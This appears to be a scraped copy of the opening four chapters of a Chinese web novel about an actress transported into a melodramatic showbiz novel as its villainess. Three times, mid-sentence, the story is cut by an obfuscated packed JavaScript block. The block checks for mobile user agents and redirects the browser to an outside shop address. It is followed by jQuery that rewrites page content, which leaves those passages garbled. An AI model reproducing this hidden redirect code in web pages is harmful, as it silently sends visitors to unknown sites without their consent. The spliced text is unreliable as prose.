《别打扰,我在拯救虐文女主》 1. 意外穿书 大屏幕上正依次播放着第37届金翎奖最佳女主角提名者的影视作品,最后一个正是顾映所饰演角色的影视选段。 当观众席镜头转向顾映时,头顶灯光亮起,周围掌声热烈,她嘴角挂着标准的微笑,眼角似有星光流转,一副泰然自若的样子。 但所有人不知道的是,她放在披巾下面的手,早已经因为紧张而被指甲掐红。 “第37届金翎奖最佳女主角得主是……”颁奖嘉宾故意拖长的尾音比任何时候都要讨厌。 她望着大屏幕上的定格画面,回想起在片场时,导演指着监视器说:“小顾的这段戏,眼神里同时有爱欲、杀机和悲悯,这样的微表情值得一座奖杯。” 但当"余曼如"的名字响彻礼堂时,潮涌般的掌声似是巴掌拍在她的脸上。此刻她看着大屏幕里自己僵硬的微笑,突然觉得所有的日夜苦熬都成了笑话。 这是第几次陪跑了? 顾映不由苦笑,她都能想象出黑粉们在网上又要怎么开嘲了。 回到保姆车里,助理闵娜递来一杯牛奶,安慰道:“映姐,在我眼里,你就是最佳女主角!” 手机弹出推送,热评第一条:#顾映今晚又双叒叕陪跑了#。底下的评论五花八门,有嘲讽的黑粉,有维护的唯粉,还有吃瓜的围观群众。 「这姐不是一直立认真钻研演技人设吗,怎么还在陪跑呢?」 「马拉松也该跑出点结果了吧。」 「心疼她,余曼如那部戏题材刚好赶上好时候了,论演技,我还是觉得顾映强点。」 「每次都能有作品入围也是有实力的啊,只是运气不好而已。」 「粉丝就别强掰了,这次是余曼如赶上好时候,上次是遇到资本黑幕了,上上次是资历不够,反正总有理由,技不如人就勇于承认,说不定还能博点好感。」 「次次入围次次不中,自身肯定也有原因。」 「她还年轻,能入围已经很不错了,太过执着反而不好。」 “……” 闵娜抽出她手里的手机,劝道:“别看了,网友们都唯恐天下不乱,得不得奖并不代表演技好坏,他们有些人背靠资本……” 顾映接过闵娜递来的牛奶,仰头一口饮尽。 她假装豪迈:“什么破奖,老娘才不稀罕!” 闵娜看她用力握着杯子的手,默默地闭了嘴。 “网友说得对,归根结底,还是我技不如人。”顾映低头,车内顶光灯下,映得她眼底的疲惫一览无余,只听她喃喃道:“看来还是得继续学习啊……” “映姐……”闵娜有些心疼。 正在拍的这部戏今晚还有最后一场雨夜戏要补,顾映扯掉耳环和头饰,淡声道:“回剧组吧。” *** 人工暴雨倾盆而下时,顾映正吊在威亚上调整状态。 导演在机器后面看着画面,拿着喇叭叮嘱道:“顾映,你现在的表情很好,保持住,我们准备开始。” 顾映站在城楼上,酝酿好感情,比了个OK的手势。正准备说台词,却觉得腰间一松,头顶的威亚似乎传来了断裂的声音。 还没等她反应过来,她本人却如剧本中原本该演绎的那幕一样,随着漫漫雨幕,坠下城楼。 那一瞬间,脑海里似有无数个场景闪过,如跑马灯一般。 下一秒,疼痛和麻木一起席卷而来。 随之而来的好像是人群的叫喊声,救护车的嘶鸣声,手术室的机器声…… 然后,世界静止了。 那一刻,顾映突然反应过来,什么影后,什么演技,什么得奖,什么执念,全是扯淡。 命都没了,演给谁看。 *** 混沌中有薄荷冷香萦绕鼻尖,顾映缓缓睁开眼,映入眼帘的是灰白色睡衣领口处若隐若现的锁骨。视线缓缓上移,对上一双深沉的眼眸。 “看够了?”男人的声音低沉又冰冷。 顾映猛地弹起,后脑勺砰一声撞上床柱。 疼痛让她瞬间清醒,她这才发现自己也穿着一件吊带睡裙,肩带滑落至肘弯。此情此景,让人不得不担忧自己似乎与面前的男人发生了什么不可描述的事情。 “……你是谁?!” 男人冷笑一声,慢条斯理起身:“你又想玩什么花样?” 他拿起手机拨出去:“吴律师,麻烦把之前起草的离婚协议电子版发给我。” 还未等顾映反应过来,脑海中突然响起一道机械音,嗡的她太阳穴突突直跳。 “滴——!” “宿主您好,欢迎绑定《娱乐圈之总裁的替身娇妻》小说系统,现在将陆续为您载入全书剧情。” 话音刚落,记忆碎片汹涌而至:豪门千金、演技稀烂、娱乐圈霸凌……最后定格在病历本上“急性髓系白血病”的诊断。 这都是些什么玩意儿? 穿越?系统? 随着小说剧情地载入,顾映逐渐了解了自己此时的身份。 顾映映,书中的恶毒女配,十八线女演员,演技稀烂,带资进组。因妒生恨,处处为难女主,一生致力于破坏男女主感情,最后被男主整的家破人亡,患病惨死。 而眼前的男人,男N号沈颂绝,原书中对他的描述并不多,只知道他是沈氏集团太子爷,年纪轻轻就拿了影帝大满贯,是娱乐圈的传奇人物。 沈顾两家由于长辈原因,沈颂绝和顾映映从小就认识,也算青梅竹马,两人在家族联姻、利益捆绑地裹挟下结了婚。但是两人并没有感情,相反,因为三观不合,两人相看两厌。 「影帝大满贯」这几个字眼狠狠攥住了顾映的注意力。 她心中不由冷笑一声,一个男N号就敢搞个大满贯的设定,看来写小说也不过就是轻轻松松一支笔而已。 她才不会承认她破防了! “你怎么能跟我离婚!”顾映突然不受控地娇喝,身体仿佛被无形丝线操纵,“你连爷爷的话都不听了吗?” 她涂着鲜红色美甲的指尖重重戳在沈颂绝胸口。 等等,我为什么突然不受控制了?顾映心中讶异,手脚却无法听从使唤。 沈颂绝擒住她手腕,大力将她抵在墙边,“怎么,现在不装失忆了?” 薄荷香突然逼近,不得不说这是一张绝美的脸,饶是在娱乐圈见惯美色的顾映,在这张脸面前都忍不住失神。 “滴!由于方才宿主处于走神状态,以防对方发现端倪,系统已按原书节奏强制执行剧情。” 系统提示音响起时,顾映终于夺回身体控制权。她保持着壁咚姿势,目光扫过男人滚动的喉结,下意识舔了舔唇。 “擦擦你的口水。”沈颂绝甩开她的手,鄙夷道。 顾映一个激灵回过神来,不由得唾弃自己,她堂堂三金影后(自封的)居然沉迷男人的美色。 *** 浴室传来水声时,顾映裹着羊毛毯窝在飘窗上梳理现在的奇葩境遇。 她试图在脑海中叫唤:“喂喂喂?” 滴得一声响,脑海里响起刚刚听到的机械音:“您好宿主。” 顾映自认看过的穿书小说没有一千也有八百了,甚至还演过类似的题材,但是这事落到自己真人头上,那还真是大姑娘上轿头一回。 淡蓝色的浮光面板缓缓浮现在眼前,上面清晰地显示着: 【主线任务:帮助《娱乐圈之总裁的替身娇妻》小说女主林清弦改变原书命运。】 【当前进度:0%】 【死亡倒计时:729天】 “死亡”两个字有些扎眼,顾映问:“这个死亡倒计时是什么意思?” “根据《娱乐圈之总裁的替身娇妻》小说剧情,原主顾映映的结局是坏事做尽,患病而死。” “可这跟我有什么关系?” “您现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420702|200834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是她。” “……”顾映无语凝噎。她坐直身子,认真起来:“你给我细细道来。” “好的。” 只见眼前的面板倏忽变幻,变成类似PPT的模样,系统用那机械化的声音给顾映上了一堂生动的‘小说赏析课’。 简单来说,这是一篇狗血又古早的霸道总裁爱上我的小说。 男主祁裕是祁氏集团的当家人,掌握滨海市一半的经济命脉,是个霸道的不能再霸道的霸道总裁。 女主林清弦,农村出身,到城市里打工,因颜值高被星探挖掘,由于家里有个酒鬼家暴老爸,还有个生病的妈妈,为了给妈妈攒医药费,小白花毅然决然踏进了娱乐圈这个大染缸,后又因为参加一档演技真人秀综艺初露锋芒。 林清弦因为长相酷似祁裕的出国白月光而引起他关注,从此被迫走上白月光替身这条不归路,虽然结局是主角幸福快乐的生活在一起,但过程集齐了误会分手、配角作梗,婆婆扔钱,豪门羞辱,怀孕打胎,妈妈离世,全网黑潮,抑郁自愈,白月光回国,弑父入狱,失忆死遁,追妻火葬场等各种要素,虐身虐心程度能让所有女主控读者掀桌起义。 “怎么样?”系统问。 “叹为观止,叹为观止。”顾映感叹,做古早文的女主真是不容易啊。 “所以,我的任务是帮她改变命运?” 系统继续道:“是的,由于原小说剧情太过虐女,引起一系列读者怨念,导致小说世界中心系统负荷不稳。” 怕顾映不信,它还陆续滚动播放出读者评论:「虐也就算了,还He,这不纯恶心人吗?」 「你哪怕悲剧结尾我都还舒服点。」 「我都能想象到作者一边码字一边恶趣味的看着我们被刀的样子。这是生怕我们爽到了是吧?」 「我是爱看虐文,但我不是爱看虐女主文好吗!」 「为虐而虐,请问作者是不是有什么大病!」 「就光在感情线上虐个没完了,敢问事业线呢,本来以女主的能力可以在演绎事业发光发热的,就这么锒铛入狱,男主还在那跟白月光您侬我侬,我呸!三观不正啊!」 「没个十年脑血栓写不出这种剧情来。」 「文案诈骗文案诈骗!」 看着这满屏怨念,顾映忍不住吐槽:“那你们想办法让作者改文啊!” “很不幸,原作者已于三年前车祸离世。” 顾映:“……” ……怕不是被读者诅咒的吧? “由于您的颗粒度和本书女配顾映映高度相配,且刚好在现实世界遇到突发事故命悬一线,所以小说世界中心特选中您进入本书中来完成这一光荣任务!” 顾映反问:“那我能获得什么奖励?” “本书剧情中,女配顾映映最后会因病离世。只要您能在病逝前完美完成任务,改写大女主爽文,那么在此书世界病亡之时,就是您现实世界满血复活之日。” 听到‘复活’二字,顾映一个鲤鱼打挺:“这么说,这个死亡倒计时,不是威胁,还是奖励咯?” “这是给您的任务期限,如果不能完成任务,您将真的病逝且不再回到现实,真正意义上的消亡。” 顾映:“……” 真正意义上的消亡啊…… 她低头沉默了半晌,就在系统忍不住准备出口鼓励时,顾映抬头,摆出工农阶级昂头奋起的姿势,举起拳头神采奕奕道:“带女主搞事业是吧?我专业陪跑十八年,最会捧人了,您就瞧好了吧!” 现实世界中,因故突然坠楼,她的父母亲人好友肯定都担心死了,估计粉丝们也都炸开了锅,营销号都不知道给她身前身后造了几轮谣了吧。 更何况在引以为傲的事业上,她顾映落了个陪跑大王的名声就死了,不杀回去拿个大满贯怎么能甘心! 这个任务,她一定要完美拿下!现实世界,她回定了! 2. 女配形象 “但是话说回来,我顶着这个恶毒女配的人设也就算了,现在还多了一便宜老公,难不成我为了完成任务还得奉献身体?”顾映想起刚刚床上那幅光景,不由皱起眉头。 不过回忆起沈颂绝那俊美的脸,她又摸了摸下巴。 好像……也不是不可以。 “宿主您误会了。”系统解释道:“根据小说原文剧情,沈颂绝与顾映映并无夫妻之实,两人只是商业联姻的关系,这次之所以睡在一张床上是为了应付沈颂绝的爷爷。” “啊?这样啊……” “您好像有些失望?” 顾映立刻反驳:“怎么会!我只是……” 话未说完,浴室的门咔嗒一声响,氤氲水汽中,沈颂绝裹着浴袍从里面走了出来。 顾映才反应过来,刚刚跟系统聊的太入神,浴室里的水声不知道什么时候停了。 沈颂绝冷冷地扫了她一眼,声音低沉:“我会让李叔把二楼的客房收拾一间出来,以后你回老宅就住客房吧。” 顾映倒是不在意住什么房间,答得干脆:“没问题。” 没想到她这么爽快,沈颂绝不由诧异的看了她两眼。这要放以前,还不得打着爷爷的幌子提上七八个条件。 虽然疑惑,但本着多一事不如少一事的心态,沈颂绝也没再追问,反正这女人只要在离婚前别惹事端,他也懒得管她。 “这段时间爷爷身体不好,你收敛些,如果再因为网上那些风言风语惹他担心,我不介意砍掉沈氏和顾氏的几个合作项目。”沈颂绝一边擦头发一边冷言威胁道。 书中,顾氏集团曾一度面临破产的风险,为了解困,顾进邦、也就是顾映映的父亲,挟旧年恩情,要求与沈氏联姻,帮顾氏度过难关。 沈颂绝幼年父母早逝,沈氏集团由他爷爷沈从南一手操持。沈老爷子年轻时参加过国家战役,曾在战场上被顾映映的爷爷救过一命,从此之后便将这恩情记挂心间。沈老爷子年纪大了又固执,沈颂绝拗不过,最终答应联姻。 但沈颂绝只答应了联姻两年,两年内,他亲自接管沈氏,帮助顾氏起死回生。两年后,顾氏拿到想要的,双方离婚,从此男婚女嫁各不相干。 不得不说,这沈颂绝也是一把商业好手,过去一年内,通过和沈氏集团的商业合作,顾氏集团峰回路转,一路高歌猛进,乐的顾进邦和一众顾氏股东是笑眯了眼,就连一些顾氏旁枝都跟着喝上肉汤,鸡犬升了天。 虽然顾映对这个顾氏没有感情,但谁会跟钱过不去呢,可以说眼前这位就是最大的金主爸爸,想着,她举起手,认真道:“您放心,我一定谨言慎行。” 沈颂绝有些不太相信的多看了她两眼,最终懒得跟她再废话,转身离去。 手机铃声与关门声一起响起。 顾映找了半天才在枕头下面找到手机,来电显示“经纪人Anja”。 顾映回忆了一下和这位经纪人有关的情节片段,发现这虽然是个出场不多,但是总能在关键时候推动剧情的NPC式人物。 顾映接起电话,电话里的Anja口气温和:“映映,起床了吗?” “刚起,什么事?” Anja道:“是这样的,公司打算给你接个演技类真人秀综艺,想来问问你的意见。” 书中,女主林清弦初进娱乐圈,演了几个网剧配角,一直不温不火,直到上了一个叫《Action,演员》的综艺,表现突出,初露锋芒,才有了流量,随后接了几个大IP,开始走上一线之路。 同时,也是在录这个综艺时,与男主祁裕相遇并开始了一生的纠缠。 可以说这是女主事业、感情的双重转折点,也是女配顾映映作孽之路的开始。 “什么综艺呀Anja姐?”顾映明知故问。 电话那边道:“叫《Action,演员》,主要是找一些年轻新人、过气演员来参加的演技PK类综艺。你也知道,最近你的演技和风评在网络上有些争议,公司的意思是让你去试一试,演得好呢,就当给自己洗形象了,演得差呢,就蹭波流量,制造点话题,黑红也是红嘛。” 好一个黑红也是红,就原主这个演技,倒数第一那都是稳定发挥。 “而且现在演技竞技类综艺很火,这次节目组也花了力气,请了不少大咖来做嘉宾和评委。前阵子你上部戏的导演还说你演技有进步,你争气点,说不定入了哪个老师的眼,这以后资源就好起来了呢!” 顾映吹了吹自己的指甲,漫不经心道:“好呀,就我这演技,上去那还不是手拿把掐。” Anja无语凝噎:“……”不是,说你胖你还喘上了,要不是公司想捧新人,让你去衬托他们的演技,这种综艺哪还轮到到你这个说台词只会12345的。 手握剧本的顾映当然知道这些人打的如意算盘,反正大家目标一致,她顺杆爬就行。 挂断电话,系统在脑海里提醒她:“宿主,故事即将进入正文剧情了。” “知道了。”顾映放下手机,想了想,她又问:“不过,既然你能通过强制控制我的身体来干预剧情,为什么不干脆直接控制林清弦呢,何必搞的这么麻烦?” 系统委屈道:“根据世界中心规定,主角拥有主角光环,我们无权强制干涉。” 闻言,顾映默了默。 好嘛,合着配角就没有人权呗。 *** 原书中,顾映映和沈颂绝只有在回沈氏老宅时,才勉强在沈老爷子面前配合演一出恩爱夫妻的戏码,其他时间两人基本上井水不犯河水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现场零星的几个粉丝举着横幅,张头四顾,顾映从他们面前经过,都没有被认出来。 顾映:“……” 很好,一群假粉丝。 最后,他们通过跟在身后的于萌认出了她。为首的粉头是个扎着双马尾、打着唇钉、画着浓浓眼妆的小姑娘,看着年纪不大,估计也才上初中的样子,她瞪大眼睛看着顾映,大声喊:“映映,你怎么换风格啦?你不COS黑魔仙小月了吗?” 顾映一个趔趄:“……” 所以你是巴啦啦黑暗之神的粉丝吧? 3. 参加综艺 《Action,演员》的录制地点在金鸣市的凤鸣传媒大厦,不同于滨海的四季宜人,这里三月份的风还残留着寒气,迎面吹上一波让人不禁打了个寒颤。 于萌及时递过来一件呢子外套披在顾映肩上。 “映映姐,《演员》的形式是驻组录制,周期十天,这十天您都需要住在节目组安排的宿舍里面。”于萌将手里的行李箱递给顾映,叮嘱道:“这些行李得您自己拿了,等会儿进了宿舍就有摄像头开始拍摄,Anja姐让我提醒您,尽量跟其他艺人……和睦相处。” 顾映弯着眼轻笑:“行了我知道了,你回酒店吧。”说完拉着行李箱准备走,想起了什么,她又往回倒了几步,从包里抽出一张卡来:“有事我会联系你的,这张卡你拿着,密码等会儿我微信发给你。有空的时候出去逛逛,买点土特产啊什么的,我回去送人,其他你自己随便,姐报销。” 于萌愣了愣,半晌才“啊?”了一声。 “愣着干什么,接着啊。” “……哦,哦。”于萌小心翼翼的接过卡,诧异的偷偷看了顾映一眼。 她怎么觉得这祖宗有点不一样了? 虽然以前顾映映花钱大手大脚,但是她只对自己大方,对他们这些人都是颐指气使,抠搜的很。今天好像……有点人味儿了? 看着于萌开心离开的背影,顾映忍不住想起现实世界的助理闵娜来。闵娜跟了她也有五六年了,一年到头天南海北的做空中达人,没少受罪。 都是出来工作的,明星是,助理也是,没有谁比谁高贵。他们这些做艺人的,平时跟助理相处的时间比跟父母家人在一起相处的时间都多,自然要互相照应一些。 更何况花这顾映映的钱,摆她顾映的阔,好像确实挺爽的! *** 顾映在工作人员的带领下来到节目组安排的女生宿舍,刚踏进门廊,就已经听见了热闹的谈笑声。 据说这次参与录制的艺人共有二十人,男、女各十人。 工作人员敲了敲门。 宿舍门是虚掩的,听见敲门声,原本里面的谈笑声戛然而止,七八位风格不一的女人一致回头,打量着站在门口的顾映。 这里说是宿舍,其实是一幢独栋别墅,一层挑高不算夸张,却足够舒展,内里摆满了节目组的精心设计以及冠名商的广告植入。 大厅里,或坐或站立着几位女演员,有风情万种,也有小家碧玉,但都打扮精致,花枝招展。 这些人里有年轻的新人,也有过气的前辈,见到人来,都统一挂上了职业的笑容,欢迎声此起彼伏。 顾映带着笑容一一寒暄。 她从行李箱里面拿出一些高档护肤品小礼盒,言笑晏晏:“第一次见面,给各位带了些小礼物,以后还要请大家多多指教。” 没有人会不喜欢大方的人,看到这些高档礼品,原本心思各异的人笑意都更真诚了一些。 其中一个女艺人亲热的上来拉着她的手道:“映映,好久不见!你今天的妆容改风格了,我差点没敢认。” 顾映仔细打量了一下面前这位夹子音,在脑海翻了半天小说,才想起这位女艺人名叫余佳缘,演技优劣程度与顾映映并驾齐驱、不堪伯仲,以至于网友粉丝们也经常拿他们俩对标比较。 而且余佳缘曾经在资源争夺中,因为财力不敌而败给顾映映,便一直与她暗暗较劲。可以说两人是在公司、人设、颜值、流量等各种领域中的死对头。 “前阵子很火的那部戏,你演的许真真可好了,我妈很喜欢你呢!”余佳缘继续上演着好姐妹的戏码。 顾映懒得陪她演戏,敷衍的握住她的手,尬笑道:“呵呵,那伯母真的是品味堪忧啊。” 就是那部戏,顾映映的演技在网上被网友批判的体无完肤,到现在还有一堆二创视频在传播她的丑相,也真难为这位还能睁着眼睛说瞎话呢。 余佳缘倒是面不改色,她自认为自己韩系清纯的形象比顾映映整天烟熏厌世的太妹形象要好,虽然不知道今天这女人吃错了什么药一改往日妆容,但她有自信自己能在各方面赢过她。 过了会儿,敲门声再次传来,众人回头,只见门口站着一位身穿浅蓝色长裙的少女,乌黑秀发扎了一个半丸子头,略带拘谨,但眼眸清亮,嘴角带笑,整个人显得质朴又清纯。 好一朵娇嫩小白花—— 林清弦。 顾映在心中默念了一遍这个名字,不由感叹。 这就是我将要在书里“守护一生”的人呐。 *** “各位前辈们好,我叫林清弦,是个刚出道不久的新人,很开心能来到这个节目,希望能跟各位多多学习。” 林清弦倒人如其名,声音清脆似弦,丝丝入韵。她谦卑且礼貌,跟每个人打招呼的时候几乎都弯腰到45度。 但是这里大多人都是见人下菜碟,一看是没什么名气的小透明,又不像顾映这样的会逢源,几乎都对她不冷不热的笑笑就完事了。 轮到顾映的时候,她扬起笑容道:“映映姐您好,您还记得我吗,我们在汇娱的走廊里见过。” 汇娱全称叫汇艺娱乐,顾映映和林清弦都是这家公司的签约艺人。 但是书里顾映映是豪门千金带资签约,林清弦是星探挖掘从龙套做起,两人压根不在一个层级,在公司几乎没有怎么碰过面。至于她说的走廊见过,估计也就是面对面经过时的一瞥,在顾映映的印象里连个影子都没留下。 顾映不动声色的上下打量了一下林清弦,小姑娘笑容明媚,温和识礼,一副初进社会的新人模样。 顾映礼节性的与她握了握手:“当然记得,我的经纪人Anja很喜欢你,经常在我面前夸你演技灵动!” 林清弦似乎是没想到会得到这样的评价,受宠若惊,羞涩一笑:“谢谢,我才入行一年,只演过几个小角色,Anja姐过奖了。” 其实Anja的原话是:“你再不磨练磨练演技,恐怕连公司新签的小演员都不如!” 顾映嘴角微微上扬:“不用谦虚。” 毕竟很快,你就会一鸣惊人了。 初次在正式场合见面,顾映也照样给林清弦送了一个礼物,两人借着同事情谊,拉着手相谈甚欢,仿佛是多年未见的好友。 约莫半刻钟后,所有艺人都来齐了。 执行导演敲了敲半开的门,提醒道:“请各位老师们移步会议室,在录制前总导演需要跟各位对一下录制流程。” 会议室里,总导演、现场导演以及评委导师都已落座。 除了互相已经见过面的十位女演员外,另外十名男演员也都齐聚在此,这些人中有俊朗挺拔的,也有阳刚正气的。进到屋里,都互相客气礼貌的打过招呼,便纷纷落座。 因为需要与各位艺人核对录制前的相关事项,周围并没有设置摄像头,因此众人都真实了一些,少了方才宿舍里那番虚情假意。 总导演姓袁,名叫袁昌,是个脸圆圆肚滚滚的中年男人,笑起来像个人间弥勒佛,在综艺圈里小有名气。 他笑咪咪的邀请各位入座,并介绍道:“欢迎各位参赛选手,我姓袁,你们可以叫我袁导,也可以叫我圆圆,毕竟各位也看出来了,我全身上下都很圆哈哈。” 小有风趣的一个开场白,惹的众人微微笑开,原本有些紧涩的氛围肉眼可见的松弛了下来。 顾映环顾四周,发现其他人都时不时打量着坐在上位年纪稍长的那位导师,他们的紧张感似乎也来源于此。 袁导紧接着介绍起身边的导师们:“相信各位对我们的评委老师们也不陌生了,在坐的有些恐怕还是我们祝老师的学生吧。” 被称为祝老师的导师全名叫祝怀疆,闻言露出一个温和的笑容。 他头发灰白,眼角的褶子虽慈祥,却也威严。他是传媒大学的教授,曾任电影学院的表演指导老师,桃李满天下,可以说,圈内科班出身的年轻人大多都上过他的课。 另外两位导师也是圈内有名的老戏骨,都约莫四十岁左右,男导师名叫周震,女导师名叫岳碧酬,都是在话剧圈、影视圈鼎鼎有名的人物。 这学生见到老师,自然都是不自觉的正襟危坐。 等袁导介绍完,刚准备切入正题时,一个工作人员过来耳语了几句,他圆润的脸上瞬间喜笑颜开,惊喜道:“真的?” 众人不明所以,顾映却瞬间了然。 会议室的门轻轻推开,一个高大修长的身影走了进来。他穿着最简单的白衬衫和黑西裤,衬得整个人简约却贵气。头顶上的灯光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420704|200834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他脸上划过,光影流转,精致又高级。 周围瞬间炸开了锅,开始交头接尾窃窃私语起来。 “居然是沈颂绝!” “节目组居然请了他来?” “圆满了,就算第一轮被淘汰,我也算是近距离接触过娱乐圈天颜了。” “他不是从来不参加综艺节目吗?” “听说他现在回沈氏接管企业,很少拍戏了。没想到他居然来参加这个节目。” 顾映也顺势将目光放在沈颂绝身上。 原书中沈颂绝第一次出场就是在《Action,演员》的评委席上,作为特邀嘉宾出席。身为顾映映的隐婚丈夫,沈颂绝的剧情线主要就是在顾映映妄图通过沈氏资源作妖时,给她一个啪啪啪打脸的教训。并且因为欣赏女主的演技,引荐她进了大IP剧组,在事业上给了她帮助。因此也引起了顾映映的疯狂嫉恨,对林清弦展开一系列恶毒手段。 娱乐圈天颜? 终究也是个为了推动剧情发展的工具人而已。 沈颂绝与众人打了声招呼。 顾映一直看着他的方向,两人不可避免地四目相对上。顾映想着好歹是熟人,便朝他微微一笑。却不想他也淡淡地回了一个笑容,礼节又客气,与对所有人的别无二致。 顾映怔愣了一瞬。 这还是两个月前那个冷脸放狠话的沈颂绝吗? 啧啧,不愧是影帝啊,说演就能演。 “沈老师,快请坐,原本以为请不到您了,现在我这个心算是放到肚子里了。”袁导站起身来,富态的脸颊因为高兴而红光满面,迫不及待的上前与沈颂绝握手。 只见沈颂绝带着礼貌的微笑,场面话张口就来:“袁导说笑了,一直想跟您合作,之前因为一些工作计划上的冲突,没能成功,这次终于让我赶上了。” 袁导听后哈哈大笑,气氛轻松愉快。 一直不苟言笑的祝怀疆也露出开怀的笑容,他走过去拍了怕沈颂绝的肩膀道:“你小子,比我这个老人家还难请。” 原书中曾简单介绍过,沈颂绝原本并不是专业学习表演的,入圈后在电影学院短暂进修过,当时的老师就是祝怀疆。 可见这位学生深得老师赞赏,两人说起话来也比一般师生间都要熟稔。 沈颂绝笑道:“老师,您这话可折煞我了,您工作繁忙,一直没机会请教您,这次好不容易有个同台的机会,我不也得抓紧机会来向您学习学习。” 一番话说得祝怀疆喜笑颜开,哪里还有刚刚引得众艺人们正襟危坐的威严气象,像个被晚辈哄开心了的老顽童。 顾映忍不住撇撇嘴,你们要是见过他衣衫半露、冷眼威胁别人的样子,恐怕都得说一句道貌岸然。 有个胆子大的女艺人出声问道:“袁导,沈老师也会作为导师一起参与我们的节目吗?” 袁导昂首挺胸,一副收视率稳了的得意模样,他笑眯眯的引沈颂绝和祝怀疆落座后,才回答:“当然。” 话音刚落,几个女演员都激动的叫出声来。 一直没说话的周震调侃道:“果然还是得看脸呀,我们这几个老家伙坐这的时候,这些孩子们一个个都紧张兮兮的,小沈这一来,气氛瞬间就不一样了。”说完他看向旁边的岳碧酬,笑道:“连咱们的岳老师都看着高兴了不少。” 都是认识多年的老搭档了,岳碧酬故意嗤了他一声:“你这是吃不到葡萄说葡萄酸,咱们周老师就算年轻个几十岁,也没办法靠脸吃饭。” “得,这怎么还人身攻击上了。”周震做出一副受伤的样子,两人一来一回的斗了几句嘴,这会议室算是彻底热闹起来了,原来的严肃气氛荡然无存。 半刻钟后,众人才算进入正题,讨论起后续的录制流程来。 会议室里几乎半数的女性眼神都时不时流连到沈颂绝身上,如果眼神能穿透人体的话,他估计已经被打成筛子了。而沈颂绝似乎全程都在全神贯注于会议内容,对这些黏腻打探的视线浑然不觉。 顾映一边参与会议讨论,一边暗戳戳看热闹。 不经意间,又与沈颂绝对上视线,虽然只是一瞥而过,但是她清晰的从他眼神中看出嫌弃两个字。 顾映:“……” 不是,我又招你惹你了? 4. 初赛录制 经历了一天的对接、调整,《action,演员》终于开始了第一期的录制。 该节目赛制主要分四个阶段,初赛、复赛、半决赛、决赛。初赛淘汰十人,复赛淘汰五人,半决赛淘汰三人,直到决赛仅剩2人进行冠军的争夺。 每个阶段除了导师评分以外,还有现场观众参与投票,满分100分,其中导师分值60分,观众分值40分,得分高者优先晋级。 初赛阶段,每位演员有两次表演机会,取最高得分。当然,如果有人觉得自己第一遍就已经发挥的很好了,可以选择放弃第二次机会。 目前所有的参赛选手都被安排在后台的公共休息室内排队等候。 林清弦就坐在顾映旁边。 原书剧情中,林清弦的人设属于老天爷追着喂饭吃的天赋型选手,演技虽青涩,但在一众不思进取的流量明星中,她干净、灵气、具有爆发力的演技一下子就抓住了导师们以及现场观众们的眼睛,一跃成为节目的黑马,并且夺得比赛亚军。 而顾映映的演技依旧平稳保持在及格线以下,第一轮就被淘汰出局。 后续顾映映意外得知,公司因为一早就发现了林清弦在这方面的天赋,所以想利用她拙劣的演技来给林清弦做对照组时,顾映映的嫉恨和委屈一起爆发,从此单方面对林清弦产生敌对情绪,并展开一系列小动作。 比如花钱找幕后人员剪坏林清弦的戏服; 把她关在宿舍洗手间让她迟到,缺席比赛环节的录制; 买通后期人员,胡乱剪辑备采和幕后花絮,引导舆论……等等手段不胜枚举。 同时也因为顾映映的各种作妖,把林清弦顶上了舆论风尖,涌现一大波黑粉。 原本按林清弦的比赛成绩,完全可以获得冠军,但赛事组委会以及节目组官方综合了比赛表现以及舆论风评,最后只给了个第二名的成绩。 但现在,恶毒女二现在摇身一变成为改变她原书命运的守护者,自然不会再去做这些乱七八糟的肮脏事,她顾映要做的就是在一旁扫除原小说中那些狗血不必要的虐梗,为大女主之路添砖加瓦! 正想的入神,前台主持人的声音已经昂扬响起,关键剧情的舞台正在拉开序幕。 顾映坐直身子,定了定心神,将注意力投向大屏幕。 第一轮是个人战,主题名叫【混沌】。 节目组织20名选手进行抽签,要求选手在限定时间内,各自根据签文中的内容即兴发挥,所有人从抽签完成到上台表演只有30分钟的准备时间,这需要他们快速理解并捕捉角色碎片,展现对角色的理解和塑造力。 抽签顺序按照姓氏英文首字母排序,顾映在第八位,林清弦在第十二位。 比赛开始后,各参赛选手抽到的签文主题五花八门,而他们也如八仙过海一般,各显神通,啼笑皆非有之,可圈可点有之。 轮到顾映抽签时,她抽到的卡片上写着的关键信息是:「与暗恋之人重逢」 表演之前是自我介绍环节,也是主持人和选手以及嘉宾们的互动环节。 主持人之前大概是做过功课,为了制造话题,特地点道:“映映最近好像因为演技问题频繁上了几次热搜,网友们的关注度也一直挺高的,对此,你在表演前会有压力吗?” 这个问题问出来,不管是评委席还是观众席都露出了兴味的眼神。 顾映注意到,只有沈颂绝微微皱了下眉头。 她心中不由好笑,这人估计是又怕她乱说话引得群嘲更狠,让沈老爷子担心吧。 想着,她笑眯眯的接过话筒,一脸轻松的说:“并不会有压力,相反,我觉得我会比其他参赛选手更加放松一些,毕竟,虱多不痒,债多不愁嘛。” 